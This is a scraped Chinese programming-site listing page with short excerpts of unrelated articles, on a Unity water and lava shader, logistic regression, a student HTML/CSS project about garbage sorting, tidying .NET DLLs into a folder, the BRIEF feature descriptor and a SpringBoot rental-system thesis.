文章浏览阅读2.8k次,点赞3次,收藏18次。游戏水面特效实现方式太多。咱们这边介绍的是一最简单的UV动画(无顶点位移),整个mesh由4个顶点构成。实现了水面效果(左图),不动代码稍微修改下参数和贴图可以实现岩浆效果(右图)。有要思路是1,uv按时间去做正弦波移动2,在1的基础上加个凹凸图混合uv3,在1、2的基础上加个水流方向4,加上对雾效的支持,如没必要请自行删除雾效代码(把包含fog的几行代码删除)S..._unity 岩浆shader

广义线性模型——Logistic回归模型(1)_广义线性回归模型-程序员宅基地

文章浏览阅读5k次。广义线性模型是线性模型的扩展,它通过连接函数建立响应变量的数学期望值与线性组合的预测变量之间的关系。广义线性模型拟合的形式为:其中g(μY)是条件均值的函数(称为连接函数)。另外,你可放松Y为正态分布的假设,改为Y 服从指数分布族中的一种分布即可。设定好连接函数和概率分布后,便可以通过最大似然估计的多次迭代推导出各参数值。在大部分情况下,线性模型就可以通过一系列连续型或类别型预测变量来预测正态分布的响应变量的工作。但是,有时候我们要进行非正态因变量的分析,例如:(1)类别型.._广义线性回归模型

HTML+CSS大作业 环境网页设计与实现(垃圾分类) web前端开发技术 web课程设计 网页规划与设计_垃圾分类网页设计目标怎么写-程序员宅基地

文章浏览阅读69次。环境保护、 保护地球、 校园环保、垃圾分类、绿色家园、等网站的设计与制作。 总结了一些学生网页制作的经验:一般的网页需要融入以下知识点:div+css布局、浮动、定位、高级css、表格、表单及验证、js轮播图、音频 视频 Flash的应用、ul li、下拉导航栏、鼠标划过效果等知识点,网页的风格主题也很全面:如爱好、风景、校园、美食、动漫、游戏、咖啡、音乐、家乡、电影、名人、商城以及个人主页等主题,学生、新手可参考下方页面的布局和设计和HTML源码(有用点赞△) 一套A+的网_垃圾分类网页设计目标怎么写

C# .Net 发布后,把dll全部放在一个文件夹中,让软件目录更整洁_.net dll 全局目录-程序员宅基地

文章浏览阅读614次,点赞7次,收藏11次。之前找到一个修改 exe 中 DLL地址 的方法, 不太好使,虽然能正确启动, 但无法改变 exe 的工作目录,这就影响了.Net 中很多获取 exe 执行目录来拼接的地址 ( 相对路径 ),比如 wwwroot 和 代码中相对目录还有一些复制到目录的普通文件 等等,它们的地址都会指向原来 exe 的目录, 而不是自定义的 “lib” 目录,根本原因就是没有修改 exe 的工作目录这次来搞一个启动程序,把 .net 的所有东西都放在一个文件夹,在文件夹同级的目录制作一个 exe._.net dll 全局目录

BRIEF特征点描述算法_breif description calculation 特征点-程序员宅基地

文章浏览阅读1.5k次。本文为转载,原博客地址:http://blog.csdn.net/hujingshuang/article/details/46910259简介 BRIEF是2010年的一篇名为《BRIEF:Binary Robust Independent Elementary Features》的文章中提出,BRIEF是对已检测到的特征点进行描述,它是一种二进制编码的描述子,摈弃了利用区域灰度..._breif description calculation 特征点

房屋租赁管理系统的设计和实现,SpringBoot计算机毕业设计论文_基于spring boot的房屋租赁系统论文-程序员宅基地

文章浏览阅读4.1k次,点赞21次,收藏79次。本文是《基于SpringBoot的房屋租赁管理系统》的配套原创说明文档,可以给应届毕业生提供格式撰写参考,也可以给开发类似系统的朋友们提供功能业务设计思路。_基于spring boot的房屋租赁系统论文